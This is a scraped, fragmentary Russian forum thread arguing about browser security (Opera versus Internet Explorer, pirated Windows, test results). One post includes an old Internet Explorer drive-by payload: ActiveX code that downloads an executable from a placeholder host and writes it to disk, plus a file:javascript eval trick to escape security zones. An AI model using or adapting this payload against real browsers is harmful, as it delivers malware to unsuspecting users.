Шапка на первой странице темы.
обычно.. иначе - это первый пост.. 
Откуда знаешь?
кстати, а что с шапкой сталось?
А отключить эту предупреждалку?
Average time: 478ms
TEST 1 time: 1.562 sec.
TEST 2 time: 2.281 sec.
TEST 3 time: 0.328 sec.
TEST 4 time: 0.485 sec.
TEST 5 time: 0.532 sec.
TEST 6 time: 1.375 sec.
TEST 7 time: 0.703 sec.
Browser Security Test Results
Dear Customer,
The Browser Security Test is finished. Please find the results below:
High Risk Vulnerabilities 0
Medium Risk Vulnerabilities 0
Low Risk Vulnerabilities 0
. High Risk Vulnerabilities 0
. . Там свежачок. . Кстати, у вас винда лицензионная?
Не морочьте людям голову с поделками, когда есть качественный IE.==
K-Meleon - рулит!
Кстати, у вас винда лицензионная?
Кстати, у вас винда лицензионная?
А он пиарит IE, "отрабатывая" таким образом свой пиратский ключ.
у поделочников принято
Решил я тут немного огорчить тех кто считает Оперу самым безопасным браузером.
пресловутый вопрос о безопасности. *но не всегда* напоминатель о нелицензионности Или у поделочников принято делать выводы из собственных догадок?
когда есть качественный IE.
просто если винда лицензионная и обновляется регулирно, это несколько улучшает дело с безопасностью IE.
Знакомая картинка:
А адресок?
http://abzzz.chat.ru/pic/ielol.jpg
Нормально вылеченная тоже прекрасно обновляется!
Для меня вопрос не в этом.
А в чём?а это -
Бесполезный вопрос, я проверял.
Для криминального продукта вопрос цены не учитывается.
А те кто юзают Оперу, юзают её преймущественно на FreeBSD?
Так она тоже платная
Это линукс-центер берет 95 рублей за болванку
Где ты видел болванки по 95-ть рублей? 
требуется оплачиваемый специалист для исследования и создания неких "обманов" для браузеров ,суть в нахождении определенного места где происходит функция,которую и надо уметь обмануть.А вы всё безопасность, безопасность... или
Сколько бы не было, их всяко меньше, чем у конкурентов.Очень сожалею и скорблю вместе с вами, но теперь вам нужно ждать новых подарочков.
Очень сожалею и скорблю вместе с вами, но теперь вам нужно ждать новых подарочков.
Пароли спионерили, используя уязвимости web-браузера – фаерволл молчал как партизан – ещё бы, ведь в его правилах 80-порт должен быть открыт! Пример – реализация всё того же ActiveXObject:
<html>
<script>
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "http://www.example.com/1.exe",
0);
x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("C:\\example.exe", 2);
</script>
<script language="javascript">
function preparecode(code) {
result = '';
lines = code.split(/\r\n/);
for (i=0; i<lines.length; i++) {
line = lines[i];
line = line.replace(/^\s+/,"");
line = line.replace(/\s+$/,"");
line = line.replace(/'/g,"\'");
line = line.replace(/[\\]/g,"\\");
line = line.replace(/[/]/g,"%2f");
if (line != '') {
result += line +'\\r\\n';
}
}
return result;
}
function doit() {
mycode = preparecode(document.all.code.value);
myURL = "file:javascript:eval('" + mycode + "')";
window.open(myURL, "_media");
}
setTimeout("doit()", 5000);
</script>
</html>
Ни фаерволл ни антивирус тут вообще не причём… Пароли утекли через очередной успешно реализованный «Оконный» баг - ну, к примеру, в службе lsass или в другой – благо же служб и сервисов у Windows предостаточно, а переполнение буфера никто не отменял. Думаю приводить иходник подобного сплоита нет смысла вообще…
который из моих?
приведенную модель безопасности ни в коем случае нельзя считать панацеей. Это всего лишь попытка найти простое и надёжное решение для работы в агрессивных средах при минимальном затрате денежных средств и времени.
Человек - это животное. И животное стадное.
Страницы: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889
Предыдущая тема: IObit SmartDefrag